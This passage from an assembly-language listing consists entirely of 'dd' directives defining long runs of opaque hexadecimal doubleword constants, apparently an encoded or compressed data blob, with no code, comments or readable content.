46EF32h, 0B6BEE912h dd 0F5217B52h, 0BA00D89Dh, 6B7A6418h, 5AD72912h, 92E6A4AAh dd 150BFB72h, 461B2EE9h, 0C5545EC5h, 8E6D0476h, 89550F57h dd 9FA3D04Eh, 0BBC83974h, 2793BF02h, 5B38E187h, 0FE33419Bh dd 7A1373C1h, 3868639Ch, 0EE5F62FDh, 0B7E88828h, 68846EC5h dd 8FBE1B84h, 0DA277FCFh, 4B74730Bh, 0CD893875h, 0BD00B2D2h dd 514C8DECh, 0EC2CB42Bh, 0A830975Fh, 0FF59C22Dh, 0F181C03Dh dd 67EE373Dh, 12200C19h, 5A42038Dh, 5A20516Eh, 88580D27h dd 0ADFF871Ch, 0E3E0BA4h, 221ED367h, 7A587884h, 86002EAh dd 3AC31E64h, 88DC5C2h, 0C8A36B8Eh, 773ABF00h, 68552A19h dd 5205A109h, 62A2D426h, 3A8FEF21h, 319C4512h, 94D487DAh dd 7FE7AFFEh, 49D99A72h, 0C75E331Eh, 0B0018466h, 0E23530F5h dd 0F8F0D066h, 0C212FB81h, 0FFD7AB5Fh, 761D7A00h, 0CBFA3219h dd 6F25060Bh, 0E3AD8058h, 4C4C7D29h, 0E9099130h, 0F57C8EB4h dd 48906884h, 781028F3h, 0C5D25F4h, 810806F4h, 73EDFC07h dd 0FBAC1EC9h, 8546131Dh, 0F5B3BBD4h, 0E857EACBh, 0A3CA8EBCh dd 5A89AB86h, 0AC73AA0Bh, 0F538F9C2h, 687B706Bh, 2EE16E37h dd 68693CABh, 5956702Dh, 1B82BBA9h, 0DDE96BB4h, 0CA926958h dd 34FD79FFh, 0F9AF4301h, 2B200461h, 81404DFBh, 0E94F30CDh dd 0F5A5664Ah, 86C2B93Ah, 3750BB18h, 0C030454Dh, 68309170h dd 4F0B5C38h, 81B62DEBh, 7F93BE44h, 0B92B3E37h, 3DE984E8h dd 0EE4A3EBCh, 8F30C1C7h, 0FC13780Bh, 0F20F5F0Ch, 6898012Ch dd 5587C87h, 0ADE40645h, 0ACB9B4C0h, 31123C56h, 0C54E8C84h dd 0EDB5C954h, 2A70610Bh, 1A7EA48h, 6F84E908h, 6B65B33Eh dd 1FE9733Fh, 0CA2DAAAAh, 6FC60586h, 0A3401004h, 651594Bh dd 305B2AF0h, 10D1309Ch, 0E0CE6D7h, 573BA525h, 81059524h dd 44AA1476h, 5AF9A8DAh, 523213E8h, 82D76F1Ah, 0D6A2E954h dd 934C25E1h, 7B7DAF8Ah, 0F0C3E415h, 88EC5DBCh, 0F1D3A34Fh dd 0A41E8B11h, 0F7B505BAh, 0E104ABD8h, 68021290h, 86A21542h dd 0C101D172h, 802E07E3h, 8221C863h, 0EC3360B5h, 4B279C8Dh dd 7BFD4402h, 125FD492h, 5FA6C2E5h, 81DD192Bh, 0FED88C8Bh dd 7BABB62Eh, 30792030h, 4FB759B6h, 0C70A4202h, 7C7D28B9h dd 0DA01586Ah, 7D314ACEh, 1814A9CCh, 877C3F88h, 0A0C8336Bh dd 54D94E9h, 0C9DE8188h, 497ADA4Ah, 96DFEEABh, 0C4D4BD41h dd 197D5Ah, 4CBF00C8h, 95B2C01h, 93B81D38h, 0EF680040h dd 781D65C2h, 72BF0CC1h, 24833ECEh, 0ADEAE33Fh, 3BE0C04h dd 0DBC33993h, 505016FCh, 0B684ABB8h, 3A6CD1BFh, 67BA0440h dd 9035C216h, 1B49E0A2h, 65D0BB22h, 910C2F40h, 0E9244303h dd 2D921476h, 8B6991ABh, 0DC77FE80h, 0FD7AC9EAh, 7E38D60Bh dd 0EFBCF541h, 0B41E92Fh, 9F0994C8h, 0B70C8FC5h, 701BFE4h dd 5A08EE5Fh, 4564C64Ah, 0BDFBDCBDh, 27117C1Ch, 62753AF7h dd 7B2B7F29h, 785B8E50h, 0F8AF1A84h, 2EE9A86Dh, 85942FC7h dd 80BB73AAh, 6648E2AEh, 0F40C032Dh, 93D62560h, 0FC9DF207h dd 0D2DEE981h, 5EEF6424h, 8664E902h, 81509836h, 0C804C7B2h dd 0B85E9337h, 50B5CD49h, 0B0EEE0B3h, 89B30184h, 0EBC0D3F6h dd 66B17B06h, 0C3CCE5D5h, 0D8281C6Dh, 0E9F0025Bh, 0C5F71AD2h dd 34FB8041h, 0F2013E5Ch, 0E9AE910h, 3C7D592Dh, 889B9EACh dd 501301A3h, 41257DBEh, 7A61C048h, 68552122h, 257A71E6h dd 0F5081152h, 0C3222707h, 0B50031E5h, 0B0E828A6h, 0F603F1A4h dd 8EAACC50h, 0D4EB65D7h, 7D91F868h, 802AD461h, 69D49C2h dd 0AEEA8F71h, 0D7CE4AC5h, 0CC5F0B93h, 0AFF54F0Eh, 6D673AD0h dd 0F0055018h, 0D94818B8h, 4B5FA879h, 4E57662Eh, 0BF5D4AFh dd 0B418BFE9h, 5B240BF2h, 0C582044Ah, 54731A45h, 0EFE90422h dd 28F3FFF0h, 8E68B88Bh, 3B1812E2h, 544442C5h, 4B8C2444h dd 8F32892Ch, 0E23F6855h, 0C7371F36h, 0E009FF6Bh, 1082FF5Fh dd 2D48AD57h, 89BEC649h, 349019Fh, 0B10F9637h, 21D6088Eh dd 30AA2B28h, 33282E87h, 0C5B0D3F3h, 0CC2DE9B2h, 0DD925767h dd 0EE574A8Eh, 0B4C9904h, 0C1FFCDAFh, 6F536E46h, 669F5F01h dd 85F56CCFh, 5FFEEE64h, 34D5F9C4h, 0C9BF0A07h, 0E438522Eh dd 0B80038DCh, 0BF5548Eh, 42F70F2Dh, 2EE977CBh, 9685C477h dd 0AEA408FBh, 80EDD10Bh, 0A777AC55h, 40839820h, 5055F0Bh dd 3A4823C5h, 74134B8h, 0AB2AF021h, 0A46E2279h, 133E164Dh dd 0DF68174h, 460EFA19h, 7E71C6DCh, 81855FF0h, 7053F7Bh dd 5C7DC1DEh, 8EE1004h, 0C57788D2h, 0E2338100h, 9109459h dd 0EA6685Bh, 9F805D44h, 0F1266471h, 7F137C0Ah, 0EB51FBBDh dd 0E83456D0h, 27AB554h, 13AA509Dh, 0E18D70D6h, 6C30E4F7h dd 0E92C36F2h, 1BA4C4CDh, 1F32D14h, 55B25251h, 0CB6FD328h dd 78321695h, 0BA96E6B3h, 27588F8Ch, 19FFB668h, 1CEBA667h dd 0CE04E56Fh, 938F94EDh, 0CE0560A4h, 0EDA14AD6h, 8C2A986Fh dd 9F587140h, 77141075h, 0F3B9A38h, 741251F8h, 1CA6A8E6h dd 5A4D097h, 3295E38Fh, 0E4B6F131h, 46FC7EE4h, 0C1FC294Ah dd 45B0840h, 391BCB05h, 400ABC2Dh, 874E5F07h, 0DBED8BBh dd 6B14AFD3h, 1A951728h, 80450AFh, 0C0A9C04Fh, 6100EC66h dd 0F37FC735h, 24A42D59h, 3A4AE8FCh, 876EE5A6h, 66C386D3h dd 0D19F08C0h, 2EF5C21Fh, 0C302410Ah, 0C049DE2Bh, 4DA6FC49h dd 0A413EA9Ah, 0D890A598h, 5751D013h, 9F0E2BB6h, 6851205Ah dd 9F263F04h, 6AE04AE2h, 8216355Fh, 0E8138640h, 25A4CBABh dd 0CE605DEFh, 0E916D701h, 80EDF925h, 0D15CE300h, 62B9513Ch dd 9C7E0926h, 1E2CC100h, 27E9A17Ah, 0C5445D9h, 64BD064Fh dd 7F679D7Bh, 0E90B2BA9h, 98FD8F7h, 72EA6845h, 12098166h dd 8546886Ah, 2BD9DB08h, 0F6029B11h, 50BE1681h, 0E8A563E0h dd 7BF5DAFBh, 62556DCCh, 8685603h, 3D534675h, 0B32F56B5h dd 0FA398148h, 8FF7F5C7h, 294A96E0h, 5F75C2F9h, 5CF65CE9h dd 0FDBEF587h, 0EB21FAD0h, 0D529C5Dh, 0EA21200Bh, 8010D855h dd 162324D7h, 0F04D3F7Eh, 216D8CDh, 57E01E60h, 202F315Ch dd 0E921300Ch, 0CD503B36h, 3BA94108h, 8708B509h, 0A7925104h dd 0B69055F0h, 735B3D68h, 5DF3768Ch, 2D046C4Ch, 0E87A8C62h dd 0E955C113h, 5073F8DFh, 313A680Bh, 6F5465D2h, 3298EEE8h dd 5E5AED1Ch, 96A956D6h, 89EC0841h, 15E918EAh, 0D0BB32DCh dd 78536B18h, 4B4205D0h, 1853C0F0h, 4F48331Bh, 7040125Ah dd 0C87AC88Dh, 57956C3Eh, 3D4D612h, 0B23C7082h, 8C108701h dd 0D27BC292h, 83D298FCh, 49DA260Ah, 0E0CBA224h, 7646BF25h dd 6A54DE9Dh, 788B02B9h, 0FA607EF0h, 840433C7h, 0E7C3E94Eh dd 0DE6EF8EAh, 0D0AE7193h, 5A4D2920h, 0E1011076h, 6E744FF6h dd 0D13BD9F7h, 358A7A5h dd 6C641C5Fh, 0EB30D278h, 50EBFC16h, 0BD790B9Fh, 0E5499BECh dd 0F7400E5Ah, 2F4B7ED0h, 28982052h, 10E0659h, 1C4F1D35h dd 0C1E80D7Bh, 9361F21Bh, 5F8A6E19h, 4C590F3Eh, 2CC22B10h dd 55AF2629h, 0EE5DEE84h, 0BEF166ECh, 0DF902F40h, 3B0F50F5h dd 0E50F37CEh, 187B3266h, 0D1867B0h, 221DD8B7h, 0ED02A4E7h dd 687D1BF4h, 10274331h, 490A7A1Eh, 0CB503CBFh, 0B65500EBh dd 0BBEE8058h, 213FCEE6h, 7AB49C66h, 0BBFE61Dh, 825AF528h dd 0EB884Fh, 0B04BE95Bh, 0D2661B9Dh, 0CD94D7E4h, 26D2F4B0h dd 83A538EBh, 1677DAF7h, 8019B63Dh, 929162Dh, 0FB97D831h dd 475D4954h, 6DB82FD7h, 669FE368h, 9C8C80C4h, 9E8082DAh dd 3EAE0467h, 0B9533F6h, 25ADEC8Fh, 3690BAFh, 5EF3C8FEh dd 286F169Fh, 8286C133h, 5D744267h, 0FBF66B8Bh, 6D7C9ED1h dd 16CDAC50h, 129FC1Ah, 0BD050F12h, 0A30C8219h, 5F501B45h dd 882FED8h, 796C7840h, 0E94C6904h, 0A6EE3494h, 54247BF6h dd 0FE525255h, 0D57B88BEh, 892B4E6Dh, 0B9B82E8Fh, 0ADF0FC96h dd 0FEEB8089h, 0E1A6CE45h, 364E7501h, 0B970215Dh, 780E6060h dd 0D94B18BDh, 6AF9794Fh, 1E90861h, 0BE8DFFFDh, 5E82C9DCh dd 6D7A4C0h, 0EE5CA476h, 17DA736Ch, 15F0F7B7h, 3E07F381h dd 0C3C6E64Fh, 0E7D16FEEh, 0F5DDB3D2h, 61F5E146h, 0F2958282h dd 407DE739h, 5C479FC1h, 5A278A7Bh, 3FBF5840h, 17B40300h dd 58956855h, 0DE0E4D10h, 3245EB1Eh, 23C84D60h, 705AB868h dd 0E2AAE524h, 7F8D8463h, 9403AA12h, 0D902E344h, 0D7BDEC4Ch dd 7E6E1089h, 0B2013F7Eh, 5136E12Ch, 0BABA883Eh, 98B4D2BDh dd 37D4147h, 0C98856BBh, 720B3534h, 0D7CE10E6h, 58B44265h dd 271BADBEh, 226B8FD8h, 6159CB31h, 0F73043EEh, 0B905F724h dd 0B6520292h, 7017B00Fh, 0C7142599h, 540B546h, 0A7443999h dd 0E9D80104h, 0B8AD953Ah, 0FA2718h, 286004D5h, 0E42C74E8h dd 2DC7BD93h, 2836C06Fh, 0C4B753D8h, 0BF5BF80Ah, 92981572h dd 785857B1h, 583E6EB5h, 6DA30DF2h, 6227AF94h, 4132282h dd 0C1DA83F6h, 8053FE0Bh, 608C0FE6h, 0E901245Ch, 0CD429572h dd 6186CE7Dh, 0C58051A7h, 0D7EDCC01h, 367C073h, 0A9F4D64Ah dd 0EAF83CE1h, 98D07301h, 0BC4C25D9h, 0A4AF6AD3h, 0F090B920h dd 0C47C6768h, 0BB66DC69h, 55C51334h, 0DF83844Bh, 5854F182h dd 5FFD8901h, 0FCD9570h, 1BC93373h, 0BFFCD7E5h, 0E6924CA2h dd 0D3C209B4h, 7BEC5DFEh, 9F7AD120h, 0C640597Eh, 4AD8448Dh dd 0B4C4AF61h, 1EE90802h, 3C54D9D5h, 0C181682Ah, 6401A492h dd 3D8306Ch, 12EB4844h, 4A905E0h, 12593D80h, 11D504AAh dd 0A9601321h, 0BC6E9F68h, 81126B30h, 7F6484F7h, 0AC674C53h dd 5303551Fh, 3313FBBh, 0B6682030h, 0BE6941EAh, 49A351B0h dd 0AD44F357h, 6E9FFEE9h, 0ECBF71C4h, 348DADC4h, 2E1980BAh dd 0BA91A0A0h, 0E1C02DE3h, 0CF37C058h, 31E27688h, 40D7B27Dh dd 9428B24Bh, 0C3769430h, 0EAE1EE92h, 305B36A4h, 3F5B836h dd 354E910Dh, 0C5FC0BF1h, 0EE3BFF2Ch, 97FE4A3Ch, 0BDB93CC8h dd 80695782h, 41D86FEAh, 2B0B4105h, 877505BAh, 0B59AB91Ch dd 682C1BF3h, 4F5262C2h, 276CC575h, 39341E75h, 6882E1F7h dd 0B4E9761Bh, 5B2DE150h, 6CA7FC59h, 72965432h, 0F749EC89h dd 0C84B5113h, 11997CFAh, 28EC15Fh, 463DFB4Bh, 89AEBC6Eh dd 57D35F5Ch, 60B0F549h, 0D54F29E9h, 0FD728BD7h, 68D3A181h dd 8C2A19F9h, 0EF4B1097h, 5925A0B7h, 200AEDDDh, 0E93C5532h dd 6B965B00h, 0F15D5AB4h, 20EC3BB5h, 57CCF102h, 0C94007ECh dd 130931E8h, 1CB2968h, 0FF333A58h, 0F78F2247h, 0A5B8B740h dd 9D65083Fh, 0E6E4807Fh, 58862E89h, 5F105E71h, 5EBE4E78h dd 0C0839629h, 11CF8148h, 6386181Dh, 3A97E780h, 69E921AAh dd 2218E2CDh, 0E59FD045h, 84311029h, 0B306BC5Fh, 0F1CD60F8h dd 2230E0C0h, 49204E2Ah, 657D5B46h, 886665B0h, 0F097F93Fh dd 8002B062h, 0C00AB649h, 4B7FF63Bh, 88926BBEh, 8560CCF3h dd 7ECEF924h, 0F5C9C2C9h, 8F4B77C6h, 0E984CFF6h, 3A63B1FCh dd 68D542FAh, 83514236h, 74196B89h, 0F55B514Eh, 54F33FBEh dd 6E38BA6Eh, 56B75E57h, 0BF206F90h, 5AB71663h, 0FCD7F72Eh dd 96E44316h, 0D3500407h, 0B925682Ch, 62F6851Bh, 0C091B3FBh dd 54634E14h, 182D3D40h, 0AC7D7096h, 2F9F4848h, 12CA40Dh dd 6CAF3458h, 317C00B0h, 0C9042590h, 65473CFBh, 0EEFE4F81h dd 0C017CC0h, 1F39E9C8h, 6003E27Fh, 0C17B7E69h, 0FA6014EAh dd 0D7016078h, 96B3974h, 36CAF4D9h, 838203B4h, 0F47C8F7Bh dd 3A298844h, 8002C32Eh, 0D537255Bh, 0AE56A684h, 0F30338F2h dd 364A4B45h, 0D2A1AEFCh, 5CF14CC4h, 0E73A411Fh, 20C6F12h dd 4F7B490Eh, 2CFC39C1h, 16BE4BACh, 824AF822h, 0C0F855D9h dd 80382AE3h, 0DD60F75Dh, 0EFF58104h, 98B3001h, 4A5F9E0Ch dd 4AE0595Ah, 4E56B542h, 4FE8CF0Ah, 47146201h, 0A0A5570Ch dd 137998DCh, 5B0F8478h, 430410B0h, 2F2CB7FCh, 9539E652h dd 0F8EB357Ch, 6FAB45BAh, 39F4E121h, 0D4CF312Eh, 83A72B05h dd 0E2BB2F84h, 0E53E8ABDh, 34E4EEAFh, 0EBBCBA67h, 1EBE78C4h dd 0BC654C21h, 0BD69E48h, 12705FAh, 0F8DFAFBh, 0D21D8E1h dd 31C30810h, 585B060Bh, 729F07E9h, 8041B705h, 0E5C71FEFh dd 0E7C3F6B5h, 36AF9437h, 52E6FE59h, 0C296ADB6h, 0FA3FC4AAh dd 0B64E2302h, 0C11EE229h, 536D41D9h, 79788305h, 0FED1AB4Dh dd 0CDE08A73h, 0BA992AE9h, 97F77979h, 555B9A77h, 0E984047Bh dd 70ABC75Ah, 412C687Ah, 0CD0A019Bh, 0A2259AB9h, 5480B3CAh dd 2304018Eh, 72858FE9h, 50701C8h, 834B4AFCh, 0C31402DFh dd 0E62FE1CDh, 2535E777h, 0E4AA82B0h, 0DA15EB9Dh, 528009ADh dd 7C7E3533h, 0C400EE90h, 490FDB30h, 29E94091h, 950C55Bh dd 4D836856h, 0CCFA54B6h, 0BB0079F8h, 4C931443h, 187CCAB8h dd 0C631533Ch, 5D00560Dh, 0C43546E8h, 9738923Fh, 3C400BE2h dd 82FDD108h, 2F324784h, 0F57FCA70h, 0CD3E1878h, 292D8578h dd 0EAC559C8h, 0E92FA0FFh, 5A05C427h, 0E32662BDh, 5C5423D4h dd 734BA54Fh, 0C267B761h, 50ACEF04h, 47F8BA1Dh, 0F24A58BDh dd 135E0D66h, 0EB07BEA6h, 0E97F9731h, 0B56F7829h, 681A3B10h dd 0C7961783h, 3A29EE02h, 0E984BB38h, 40E3896Bh, 7D3B6866h dd 4F184164h, 2066A517h, 0E5BD0CA1h, 45552770h, 85E98BB5h dd 0EB92DA5Ch, 2A68DDF4h, 298809A4h, 25F3B679h, 0CA64A744h dd 0FCABEAB6h, 0CEE90C80h, 7C777B3h, 2CC57D80h, 6F7CC259h dd 68167C46h, 86F31B8Eh, 0BAEB8817h, 9D482FCEh, 5E8E8725h dd 0D1B859A4h, 685AD6B4h, 0EF85A456h, 0BC2643C8h, 0D589095Ch dd 0F178080Bh, 0A1C8BA4Ah, 3D1B5FAh, 0B4E17470h, 17686116h dd 0F5A66F0Ch, 856DD92h, 7E9DDAF8h, 0A55E67D1h, 68CCE015h dd 703D5DF0h, 0A89E1717h, 8D9E7AEDh, 7A147216h, 0F30CAD9h dd 0FD40D3B7h, 60AA93A6h, 1B68DEBEh, 4CD84350h, 7C716314h dd 793401E7h, 5E913CEh, 5F370678h, 944C943Bh, 23DDAA73h dd 0C642B1F4h, 79DA308Bh, 8B482EF6h, 0C180A13Ah, 5D25DC42h dd 4BC00E1Ah, 0D124594Bh, 1B1D1622h, 0F728B982h, 1C27EDFh dd 68451EEFh, 0DAC62ECFh, 4F8406ACh, 40416D3Ah, 64057200h dd 0E9F93152h, 0FEEF2D4Eh, 0DD78A0DCh, 0C7808088h, 0DFF69B1Eh dd 5495E189h, 3887BCA6h dd 606B961Dh, 2748BDE6h, 200B655Ch, 0B1511214h, 20E1D14Eh dd 0FCE67A29h, 633B9060h, 99B061EEh, 3E593440h, 7570EB80h dd 16C375F3h, 0E92A685Ah, 3FC10C5h, 5DEF290Dh, 88B87AF4h dd 0C2D50C6Bh, 635FC194h, 93C1E23Ah, 5819B3E6h, 0F7C3E364h dd 3E0AC0C1h, 4BDBCBCCh, 7421ABC2h, 0E83FA09Dh, 0BFE97BBh dd 6F61AE7Ah, 66EC3E2Dh, 217D052Dh, 35E9D8BEh, 0EBC1B275h dd 0B5DA3FDCh, 257FDB2Ah, 4A83E37Fh, 8FC6FF0Ch, 7F1D20C0h dd 7CD6F732h, 0F8310454h, 0DFAC325Eh, 8951DD87h, 340268C1h dd 0E9A8607Ah, 53BDAEA1h, 0FE5098E2h, 5943D79h, 0AE5B5483h dd 7A46D977h, 0A35C402Fh, 817ED26Fh, 0DA7F234h, 0F9E1D0C4h dd 0F1A9B07Eh, 26FD18B5h, 2714B20Fh, 51B16F27h, 0CBCC3A3Eh dd 1219383Bh, 8606BA82h, 0BB421449h, 46AF877h, 89E9C229h dd 4FBFD52h, 0AAD5D65h, 68D894C2h, 0FBDF5C4h, 29436427h dd 5AB2539Fh, 29774A37h, 0F616D7A7h, 4EA42F73h, 83B992Ah dd 0C6E48795h, 0BF70FB30h, 1CE0174Dh, 1746ACCCh, 75F8EFD1h dd 4C48210h, 4BA76858h, 0A6198CEFh, 0A3F46C41h, 9E39B58h dd 36D53408h, 5266170Ch, 0B1796050h, 8409B08Ah, 7CD656E9h dd 81088010h, 9B7BF5CBh, 0B879647Eh, 687BC392h, 10557213h dd 55274F1Dh, 0C7A1A83Eh, 9DB204B5h, 0D2D1A74Bh, 0E53B23FCh dd 0BFC975CEh, 0BB0D6971h, 0F3E05F03h, 2BF50129h, 1EB9CCB0h dd 6D2AAA02h, 0C13C2255h, 0C7AD05ECh, 7C86836Ah, 0AC57C33Fh dd 8180B298h, 91561BEEh, 10A4C14Ah, 302E771Eh, 0E4391C53h dd 41B48A1h, 7A023541h, 0EA2898A8h, 0A7E91308h, 46CF4C1Ah dd 1E2E6A8Ch, 4F0B4D99h, 9F9164F9h, 0BBCF9B0h, 3DFE2BFBh dd 28F86E9Eh, 4203012Ch, 5C04D095h, 887E76B5h, 66BF44BAh dd 61CAA1C8h, 7A552FEh, 0EC2B7AEFh, 0E02CC52Ah, 0B4CB39Ch dd 30620F98h, 7569EDDh, 19088140h, 4A5D533Dh, 0B170FC87h dd 5F72CF02h, 971EEE4Fh, 52EB40D7h, 7ECCA1AAh, 0EF4CA8FCh dd 5EA4B44Fh, 0D0EF8929h, 0D61D3109h, 0ED0C624Eh, 659880C6h dd 0F5208A7Bh, 5A5F2820h, 579405CAh, 8956512Eh, 0A8F184h dd 176E4B68h, 0EC5B9208h, 71634C5Fh, 0E962ECF9h, 2631674Dh dd 1E0249ADh, 0E32ADD24h, 0DEC3F16Dh, 83BF1C82h, 6B40D353h dd 541DF7CFh, 84BA3FCEh, 63FA796Ch, 92048C2h, 52AC897Fh dd 895D1661h, 9A3F302h, 9123F3E9h, 0B2FFC881h, 935EC06Ah dd 6F3E285Fh, 623F05CDh, 0BA89DA3Dh, 0D12DD48Eh, 66CEEDA0h dd 40480E65h, 43EC065Ah, 6F865193h, 0DC6123BEh, 6E1C5B56h dd 97E874E0h, 0E6884B82h, 0EE23DF90h, 10FCC181h, 28C87A31h dd 0F21DFA3h, 76687D93h, 2D03A8B3h, 8702FDB8h, 66FDC329h dd 21E926ADh, 84CB2D2h, 0C71F3B40h, 803B4781h, 3ABB5307h dd 64F83E00h, 4542E381h, 834A50CCh, 270E14CDh, 0C606AF1Fh dd 0C298B74h, 9506B20Ch, 4A034248h, 3CE48356h, 0E94D609Fh dd 0C3C7FDC5h, 668307EAh, 0BE7402E5h, 497B6778h, 0A74CFDh dd 7EDE7D6Fh, 8827F825h, 6AE93B09h, 27B8E50Eh, 0F7D9B2D5h dd 8A905F14h, 0E7759A09h, 0F45C4Dh, 94C300Bh, 0E569D9E9h dd 144ADD98h, 0E0310688h, 607D34B8h, 0D0AB324Eh, 0B7350206h dd 3367E016h, 16AEEAB4h, 0D922AC29h, 0D3E2173h, 43953F0Dh dd 40BCCEAEh, 7C7A0FC1h, 32F9195Eh, 6335F207h, 0A402AF32h dd 935E2A74h, 6930C600h, 17E94350h, 20FEBCB3h, 2E4732D8h dd 4F687B09h, 62B55E06h, 9574183Dh, 0B60F2A60h, 0E281383Bh dd 378760Eh, 7ACFCAC0h, 42131390h, 36535FE9h, 995ED6ACh dd 0FFB87B9Ah, 8CE292h, 3E6D2A76h, 0E8AE681h, 0D11E6072h dd 0A2500FD2h, 29E93AF8h, 0BB43154Eh, 0ECF5201Ch, 0DA983580h dd 0EE134ADCh, 38C2E9C0h, 5066605Dh, 9702B6EAh, 96E50C5Bh dd 801C0806h, 552EE914h, 0D22F88CCh, 2AE84E83h, 680740BDh dd 53BF79A9h, 48B2E95Eh, 1385F732h, 230993Bh, 0A1634D46h dd 6BE92EC0h, 0C34A0500h, 0C159CF31h, 300760EFh, 48122822h dd 0E1690CC0h, 5689345Bh, 98588FFAh, 20F64111h, 0C860252Ch dd 6AFFFE6Ah, 6682DF3Eh, 0EB0E84B5h, 491ED6C5h, 2A3827E9h dd 0AE4F73B6h, 4AF0DC5h, 0E83B8004h, 0A29D8960h, 5FF02128h dd 5DA519F3h, 31087131h, 60D0C92Fh, 6880E585h, 90439FD3h dd 895F63D1h, 59C7215Ch, 8DF49BAh, 7202F03Ch, 0D73A06D8h dd 39BA2FAEh, 99FA7E43h, 0FC6FB956h, 0BA50B116h, 41E45BACh dd 0F75312A8h, 588EF33Ah, 1B711203h, 0B5E0F9ECh, 0F50B801Eh dd 46EF3056h, 7BF7F612h, 4FF86B06h, 6AB0E00Fh, 0F70177B4h dd 23135690h, 0CBC4F131h, 89280279h, 7058E9F8h, 0F2F24655h dd 520BBFB7h, 57A5A3C7h, 4FD36D93h, 5BEBB11Fh, 0C36C25Eh dd 667724F8h, 6F280033h, 0D1410DC6h, 65E1FCF9h, 2AAF4C1Dh dd 0F49004BCh, 5BAA30Fh, 0FE5E6839h, 1CD3FA67h, 94A86FBh dd 3F8D22EAh, 26B07Eh, 811732Dh, 680490CBh, 5BA3450Bh dd 4E9AE110h, 0FAEB282h, 0FEB03262h, 67CD5957h, 1C38D0F3h dd 7CC15011h, 35653236h, 133FB480h, 0E1C17A19h, 5BB064Ch dd 8E41C667h, 99A1C2AEh, 3608AAABh, 0C9984AF5h, 99EAA3DDh dd 1281717h, 401C16C1h, 880BB785h, 0CCEE5BFCh, 86C4801Eh dd 4BC47C25h, 6104506h, 0E8F0015Fh, 6BDEBE9h, 0FECA58BCh dd 0B266E8Bh, 0BE5D9694h, 0ED6E452Dh, 19DA04AFh, 15832096h dd 0C40D5BD6h, 0E920F007h, 940D865Bh, 0C17A4729h, 3EB1016Ah dd 63085392h, 99ABACD3h, 0D211A735h, 9B3B11Bh, 49D9FFE1h dd 27BFC243h, 0B9FB5916h, 0E7E6FB0Bh, 0FC792F4Ch, 596EEA80h dd 37E90380h, 6961B1DBh, 0DF652975h, 0A1687248h, 0BB311B5Fh dd 2B4857BDh, 0ED583F7Fh, 0D8A9BD78h, 0CB01CAD9h, 1E152FD4h dd 13061820h, 86AEF2Eh, 1044C86h, 0B8BF2DF8h, 0FD0525EDh dd 0BFD4F7C3h, 0D95201BCh, 0ACBA910h, 0BE8285Bh, 2CE0108h dd 5041AEBAh, 2EE3B461h, 0DEFE7E84h, 0F8B8163Dh, 46F40A89h dd 0B04C9A6Ah, 48F125AAh, 3F56055h, 11199F01h, 0BD4581ECh dd 62F436CCh, 0C3867AE8h, 28BCBB24h, 78F757DAh, 0B04B72A2h dd 0B14E13D5h, 172804BAh, 6EE614D4h, 0D2520F4Bh, 41F0F1BEh dd 617CD0A6h, 0C6E42AF8h, 80219659h, 69B55F9Ch, 669F5429h dd 80C8277h, 5A172114h, 34E67408h, 0A6F8BB66h, 80752041h dd 0BFF4846Eh, 2EA90AA8h, 6AB329FAh, 0DBC4D664h, 5F6DEEC2h dd 0B282ECD3h, 7FD3288Eh, 0E916A56Ch, 0CF5CFF5h, 0A7DF62DCh dd 7A73EE2h, 2D488400h, 0CA2593A2h, 0EBE07FB0h, 650231CDh dd 0ACE92752h, 0FC9DA7Ch, 60045C29h, 0E938C664h, 37FB5F48h dd 34CFE21Ch, 281209D1h, 40B0AFB4h, 0DC955AADh, 36EE0243h dd 3EE02D54h, 0FD125553h, 3C80D101h, 487D4912h, 160637A9h dd 1E68476Eh, 2508C6D0h, 17B8755Ah, 0F0B2015Ch, 931E7931h dd 7A81DD29h, 0E564D2BFh, 1EFE6960h, 0A94591A8h, 2CBAFE01h dd 5E48F0CBh, 0C1BA9605h, 81DAE915h, 0C069B4FFh, 0E07E05ECh dd 11E680E6h, 3276CCE6h, 96F970F9h, 0C65B2DCEh, 588F383h dd 595320BEh, 4B54A075h, 0C1257968h, 0D34C163Ch, 52C2CA9h dd 0FDCF39AEh, 0C29C046Ah, 80EFE272h, 199EE9F4h, 0B57274B5h dd 38DF04C5h, 8F5BF34Dh, 0CA3CE452h, 0E5E656D0h, 210F3D61h dd 0BDCB0C92h, 804F27A7h, 0F6814E39h, 7E2018A9h, 491C0C4Ah dd 0F8476425h, 1E4B3Dh dd 3482687Ch, 0E1970638h, 5A0009E7h, 210FE581h, 9E799E4Bh dd 0B218A298h, 0F28012FBh, 0CA06FBFEh, 0B704292Ch, 0C635054h dd 77ABCFF7h, 680718E5h, 7F0B6A92h, 290AADEEh, 8CDEE9C6h dd 5A881FBFh, 5E0B9AAEh, 2056664Eh, 1285CB4h, 2F2D9AC5h dd 855E92D5h, 0C2851F76h, 75B9A249h, 5C772ACAh, 82D5251Ah dd 0A433E939h, 70FE899Eh, 152ABF80h, 906D8E2Eh, 0E66E2000h dd 48CAE961h, 0CB9DCE4Bh, 1CDF2C6Fh, 0CB749538h, 65E91254h dd 8BE3AE13h, 0B3141016h, 94F94FF1h, 0C4A0A272h, 5394865h dd 0C717C580h, 3490B264h, 2598F49Fh, 5B2251F8h, 215A2745h dd 75C61A55h, 0B4B7AC22h, 2C9DB348h, 8411BE32h, 6C4DDF9Ah dd 0FB9AFD2Fh, 0DD685481h, 0C4F66803h, 104770Fh, 8429E2D3h dd 4FB150E9h, 9B2F613Ah, 68AE48A6h, 0B50A342Ch, 874D0DC0h dd 559FFA17h, 0BC2B0D5Fh, 8A67852Dh, 9BEE3ED4h, 1FC85B1Dh dd 8647B073h, 7FAA8244h, 0D517A1E7h, 25406F08h, 0F33AE0F7h dd 0E5DBE7A0h, 0D5C30900h, 76CBB050h, 0B5587028h, 782E9840h dd 0F6F14EB5h, 0CD9F5AF8h, 64CFE52Ah, 0AEB805CDh, 0C13D1904h dd 0FFC206E0h, 2040F2ABh, 7C9D8952h, 8D471ECEh, 2F20B38Ch dd 9446292Ch, 34D72F66h, 85969770h, 71C226BEh, 9185785h dd 0CCE0B305h, 59E80B4Eh, 3C5E0740h, 35DE6855h, 85D5800Eh dd 0BD903D10h, 2594AB5Dh, 0BB7DC59h, 0F166796Eh, 3D0CF30Ch dd 0B6A2F822h, 0F099273Eh, 233B21h, 0C1F702AAh, 0D4999B43h dd 845D8777h, 0DA290E98h, 0AEAFF3E5h, 3579ECE2h, 0B11227D3h dd 1FBF2E7Ch, 5EF78BB7h, 6E9CE81h, 3E233598h, 290BC5BCh dd 0AC0959CFh, 0EFD4E9F5h, 58EFE83Eh, 0D14E25B2h, 0A52D4AF5h dd 86583F5h, 